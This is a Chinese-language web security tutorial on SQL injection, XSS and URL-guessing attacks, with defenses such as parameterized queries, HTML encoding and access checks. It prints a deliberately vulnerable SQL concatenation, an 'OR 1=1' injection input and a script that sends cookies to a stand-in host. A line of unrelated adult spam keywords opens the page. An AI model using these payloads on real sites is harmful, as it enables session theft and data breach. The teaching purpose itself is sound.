欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

歷史悠久的3個經(jīng)典網(wǎng)站安全漏洞介紹

  發(fā)布時間:2015-06-16 14:53:27   作者:佚名   我要評論
這篇文章主要介紹了歷史悠久的3個經(jīng)典網(wǎng)站安全漏洞介紹,互聯(lián)網(wǎng)項目里邊,SQL注入漏洞、XSS漏洞和猜測URL攻擊這三個漏洞可謂歷史悠久,本文就一一介紹了它們的原理等,需要的朋友可以參考下

互聯(lián)網(wǎng)項目里邊,SQL注入漏洞、XSS漏洞和猜測URL攻擊這三個漏洞可謂歷史悠久,然而直到今天還有人不斷中槍,也真是微醺。

這幾個漏洞說大也大,說小也小。說大是說這些漏洞危害大,會導(dǎo)致數(shù)據(jù)層面的安全問題;說小是從技術(shù)層面上講都是未對外部輸入做處理導(dǎo)致的,想要做針對性地防范很簡單。下面簡單看看這些漏洞的原因及防范方法。

SQL注入

SQL注入之所以存在,主要是因為工程師將外部的輸入直接嵌入到將要執(zhí)行的SQL語句中了。黑客可以利用這一點執(zhí)行SQL指令來達(dá)到自己目的。舉例來說,有一個接受參數(shù)為id的頁面,在接收到id后從數(shù)據(jù)庫中查詢相應(yīng)的數(shù)據(jù), 其代碼大致如下:

復(fù)制代碼
代碼如下:

string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

​正常情況下,Request["ID"]為數(shù)字,這條SQL能很好地工作。如果我們認(rèn)為修改Request["ID"],將其內(nèi)容修改為?ID=1 OR 1=1 我們將得到這樣一條SQL:

復(fù)制代碼
代碼如下:

​SELECT * FROM [User] WHERE ID=1 OR 1=1

因為有OR的出現(xiàn)這條SQL語句已經(jīng)可以獲取User表中的任意信息。利用SQL注入漏洞,我們能夠獲取想要的信息,同時可以通過猜測-報錯獲取到數(shù)據(jù)庫其它表的結(jié)構(gòu)和信息,如果數(shù)據(jù)庫、服務(wù)器權(quán)限設(shè)置不當(dāng),甚至有可能能獲取到整個服務(wù)器的控制權(quán)限。

規(guī)避這種漏洞有很多種辦法,以現(xiàn)代的編程語言來說,選擇一個合適的ORM框架可以減少不少問題而且能大大提高開發(fā)效率。

如果因為某些原因需要繼續(xù)寫SQL語句,參數(shù)化查詢也能解決這一問題。

對于需要拼接SQL語句的程序來說,注意兩點也可以避免此問題。第一點是如果查詢的字段類型是數(shù)字等類型,在拼接SQL前先判斷輸入是不是一個合法的數(shù)字,不合法則終止程序即可。第二點是如果字段類型是字符串,則記得將輸入里的的單引號進行轉(zhuǎn)義。

XSS攻擊

如果說SQL注入是直接在SQL里執(zhí)行了用戶輸入,那XSS攻擊是在HTML里代碼執(zhí)行了用戶輸入。相對SQL注入,XSS似乎更能引起人關(guān)注。幾年前新浪微博被人利用XSS獲取大量粉絲;3DM也曾經(jīng)被植入script代碼對另一個游戲網(wǎng)站進行了慘無人道的DDOS攻擊。

這里還是用SQL注入中的例子來說,假設(shè)頁面輸出為:

復(fù)制代碼
代碼如下:

​<div><%= Request["ID"] %></div>

這里我們可以在Request["ID"]里傳入一段編碼后的腳本,在最終輸出的時候,就變成了一段可執(zhí)行的javascript代碼。


復(fù)制代碼
代碼如下:

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

這段代碼獲取到當(dāng)前頁面的cookie值,并將cookie值傳遞到另一個名為anothersite.com的網(wǎng)站。利用這種模式,黑客可以獲取到用戶的登錄信息或者將用戶跳轉(zhuǎn)到釣魚網(wǎng)站來達(dá)成自己的目的。

XSS攻擊也可以簡單分為兩種,一種是上述例子中利用url引誘客戶點擊來實現(xiàn);另一種是通過存儲到數(shù)據(jù)庫,在其它用戶獲取相關(guān)信息時來執(zhí)行腳本。

防范XSS攻擊需要在所有的字段都對輸入的字符串進行html encode(或者在輸出時進行encode)。如果需要使用富文本編輯的,可以考慮使用UBB。

猜測URL攻擊

猜測URL攻擊是通過已知的GET、POST參數(shù)來猜測未公開的參數(shù)并嘗試進行攻擊。

以Request["ID"]為例,如果ID為1是合法的可訪問的數(shù)據(jù),可以通過嘗試ID=2,ID=3等一系列來嘗試是否對其它資源有訪問、修改權(quán)限。如果控制不當(dāng),則可以輕松獲得并修改數(shù)據(jù)。

要避免這種問題,方案一是使用較長的無規(guī)律的數(shù)字、字符來做為ID,增大猜測難度;對于需要登錄的程序,可以判斷用戶身份是否有對應(yīng)ID數(shù)據(jù)的訪問、修改權(quán)限;如果ID已經(jīng)是自增類型且不需要登錄,可以用過在URL里增加無規(guī)律的校驗字段來避免。

其它需要注意的地方

安全是一個系統(tǒng)工程。

要提高系統(tǒng)安全性,最首要的一點是不要相信任何輸入!不要相信任何輸入!不要相信任何輸入!重要的事情說三遍。這里的輸入除了URL里的GET參數(shù)、POST參數(shù),還包括COOKIE、Header等可以進行修改的各類信息。

在程序設(shè)置方面,不輸出客戶不需要知道的各類信息,如原始的異常信息、異常附近的代碼段等等,這樣也能增加不少安全性。

最后,在測試或系統(tǒng)運行的過程中,可以使用類似appscan這樣的安全檢測工具來檢查程序是否有漏洞。

相關(guān)文章

最新評論